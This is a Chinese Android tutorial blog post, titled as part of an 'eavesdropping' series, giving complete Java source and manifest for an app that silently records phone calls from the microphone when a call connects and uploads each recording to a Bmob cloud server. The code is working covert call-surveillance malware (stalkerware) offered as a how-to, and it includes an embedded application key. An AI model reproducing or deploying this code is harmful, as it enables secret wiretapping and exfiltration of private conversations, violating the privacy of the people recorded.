标签:电话监听 android bmob
前一段时间我写过一篇关于短信监听的文章Android实战简易教程-第四十枪(窃听风云之短信监听),话说现在短信用的越来越少了啊,下面来个更猛的,电话录音监听上传,电话接通后开始录音,电话挂断后将录音上传。这里我们还是借助Bmob提供的上传服务,将录音文件上传到bomb的服务器,可以自行下载,播放录音。
<uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_LOGS"/>
package com.bmob.example; import cn.bmob.Bmob; import android.app.Activity; import android.os.Bundle; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { // TODO Auto-generated method stub super.onCreate(savedInstanceState); // 初始化 Bmob SDK // 使用时请将第二个参数Application ID替换成你在Bmob服务器端创建的Application ID Bmob.initialize(this, "Your Application ID"); } }
package com.example.detectdemo; import android.app.Activity; import android.content.Intent; import android.os.Bundle; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent intent = new Intent(this,PhoneService.class); startService(intent); } }
package com.example.detectdemo; import java.io.File; import cn.bmob.v3.Bmob; import cn.bmob.v3.datatype.BmobFile; import cn.bmob.v3.listener.UploadFileListener; import android.app.Service; import android.content.Context; import android.content.Intent; import android.media.MediaRecorder; import android.os.Environment; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; public class PhoneService extends Service { private TelephonyManager tm; private MyPhoneStateListener1 listener; private MediaRecorder mr; @Override public void onCreate() { super.onCreate(); Bmob.initialize(this, "043e93c00763edf4ba390e9031775656"); tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); listener = new MyPhoneStateListener1(); tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); } private class MyPhoneStateListener1 extends PhoneStateListener { public void onCallStateChanged(int state, String incomingNumber) { switch (state) { case TelephonyManager.CALL_STATE_IDLE://闲置状态 if (mr != null) { // if(incomingNumber.equals("5556")||incomingNumber.equals("15555215556")){ mr.stop(); mr.reset(); mr.release(); mr = null; // } } break; case TelephonyManager.CALL_STATE_OFFHOOK://接听状态,进行录音监听 try { mr = new MediaRecorder(); mr.setAudioSource(MediaRecorder.AudioSource.MIC); mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); String fileNameString = System.currentTimeMillis() + ".3gp"; File file = new File( Environment.getExternalStorageDirectory(), fileNameString); String filePathString = file.getPath(); mr.setOutputFile(file.getAbsolutePath()); mr.prepare(); mr.start(); upload(filePathString); } catch (Exception e) { e.printStackTrace(); } break; case TelephonyManager.CALL_STATE_RINGING://响铃状态 break; default: break; } }; } @Override public IBinder onBind(Intent intent) { return null; } /** * 将文件上传 * * @param filepath */ private void upload(String filePath) { final BmobFile icon = new BmobFile(new File(filePath)); icon.upload(this, new UploadFileListener() { @Override public void onSuccess() {//上传成功! Cheat name = new Cheat(); name.setName(icon); name.save(getApplicationContext()); } @Override public void onProgress(Integer arg0) { } @Override public void onFailure(int arg0, String arg1) { } }); } }最后配置权限:
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.detectdemo" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.READ_LOGS" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- //用来读取电话状态 --> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- //录音的相关权限 --> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" /> <!-- //以下两个是读写SDcard相应的权限 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name="com.example.detectdemo.PhoneService" > </service> </application> </manifest>
版权声明:本文为博主原创文章,未经博主允许不得转载。
Android实战简易教程-第五十五枪(窃听风云之电话录音上传)
标签:电话监听 android bmob
原文地址:http://blog.csdn.net/yayun0516/article/details/48244011